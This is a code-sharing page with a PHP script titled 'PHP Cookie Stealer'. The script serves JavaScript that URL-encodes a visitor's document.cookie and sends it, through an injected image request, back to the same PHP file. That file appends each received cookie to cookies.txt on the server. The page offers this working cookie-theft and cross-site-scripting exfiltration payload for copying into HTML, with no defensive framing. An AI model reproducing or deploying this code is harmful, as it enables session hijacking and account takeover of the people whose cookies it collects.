PHP Cookie Stealer


/ Published in: PHP
Save to your folder(s)



Copy this code and paste it in your HTML
  1. <?php
  2. /*
  3.  * Created on 16. april. 2007
  4.  * Created by Audun Larsen ([email protected])
  5.  *
  6.  * Copyright 2006 Munio IT, Audun Larsen
  7.  *
  8.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  9.  * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
  10.  * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  11.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  12.  * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  13.  * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  14.  * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
  15.  * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  16.  */
  17.  
  18. if(strlen($_SERVER['QUERY_STRING']) > 0) {
  19. $fp=fopen('./cookies.txt', 'a');
  20. fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
  21. fclose($fp);
  22. } else {
  23. ?>
  24.  
  25. var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';
  26.  
  27. // ====================================================================
  28. // URLEncode and URLDecode functions
  29. //
  30. // Copyright Albion Research Ltd. 2002
  31. // http://www.albionresearch.com/
  32. //
  33. // You may copy these functions providing that
  34. // (a) you leave this copyright notice intact, and
  35. // (b) if you use these functions on a publicly accessible
  36. // web site you include a credit somewhere on the web site
  37. // with a link back to http://www.albionresearch.com/
  38. //
  39. // If you find or fix any bugs, please let us know at albionresearch.com
  40. //
  41. // SpecialThanks to Neelesh Thakur for being the first to
  42. // report a bug in URLDecode() - now fixed 2003-02-19.
  43. // And thanks to everyone else who has provided comments and suggestions.
  44. // ====================================================================
  45. function URLEncode(str)
  46. {
  47. // The Javascript escape and unescape functions do not correspond
  48. // with what browsers actually do...
  49. var SAFECHARS = "0123456789" + // Numeric
  50. "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
  51. "abcdefghijklmnopqrstuvwxyz" +
  52. "-_.!~*'()"; // RFC2396 Mark characters
  53. var HEX = "0123456789ABCDEF";
  54.  
  55. var plaintext = str;
  56. var encoded = "";
  57. for (var i = 0; i < plaintext.length; i++ ) {
  58. var ch = plaintext.charAt(i);
  59. if (ch == " ") {
  60. encoded += "+"; // x-www-urlencoded, rather than %20
  61. } else if (SAFECHARS.indexOf(ch) != -1) {
  62. encoded += ch;
  63. } else {
  64. var charCode = ch.charCodeAt(0);
  65. if (charCode > 255) {
  66. alert( "Unicode Character '"
  67. + ch
  68. + "' cannot be encoded using standard URL encoding.\n" +
  69. "(URL encoding only supports 8-bit characters.)\n" +
  70. "A space (+) will be substituted." );
  71. encoded += "+";
  72. } else {
  73. encoded += "%";
  74. encoded += HEX.charAt((charCode >> 4) & 0xF);
  75. encoded += HEX.charAt(charCode & 0xF);
  76. }
  77. }
  78. } // for
  79.  
  80. return encoded;
  81. };
  82.  
  83. cookie = URLEncode(document.cookie);
  84. html = '<img src="'+ownUrl+'?'+cookie+'">';
  85. document.write(html);
  86.  
  87. < ?php
  88. }
  89. ?>

URL: http://xqus.com/archive/2007/04/16/php-cookie-stealer

Report this snippet


Comments

RSS Icon Subscribe to comments

You need to login to post a comment.